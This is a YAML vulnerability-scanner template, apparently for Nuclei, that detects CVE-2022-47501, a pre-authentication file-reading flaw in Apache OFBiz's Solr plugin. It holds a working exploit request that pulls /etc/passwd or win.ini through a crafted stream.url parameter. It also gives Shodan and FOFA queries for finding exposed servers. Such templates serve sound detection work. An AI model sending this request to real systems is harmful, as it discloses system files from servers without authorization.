48 lines
1.3 KiB
YAML
48 lines
1.3 KiB
YAML
id: CVE-2022-47501
|
|
|
|
info:
|
|
name: Apache OFBiz < 18.12.07 - Local File Inclusion
|
|
author: your3cho
|
|
severity: high
|
|
description: |
|
|
Arbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07.
|
|
reference:
|
|
- https://lists.apache.org/thread/k8s76l0whydy45bfm4b69vq0mf94p3wc
|
|
- http://www.openwall.com/lists/oss-security/2023/04/18/5
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-47501
|
|
classification:
|
|
cve-id: CVE-2022-47501
|
|
metadata:
|
|
shodan-query: html:"OFBiz"
|
|
fofa-query: app="Apache_OFBiz"
|
|
vendor: apache
|
|
product: ofbiz
|
|
tags: cve,cve2022,apache,ofbiz,lfi
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file://{{path}}"
|
|
|
|
payloads:
|
|
path:
|
|
- /etc/passwd
|
|
- c:/windows/win.ini
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: or
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "regex('root:.*:0:0:', body)"
|
|
- "status_code == 200"
|
|
condition: and
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- "contains(body, 'bit app support')"
|
|
- "contains(body, 'fonts')"
|
|
- "contains(body, 'extensions')"
|
|
- "status_code == 200"
|
|
condition: and
|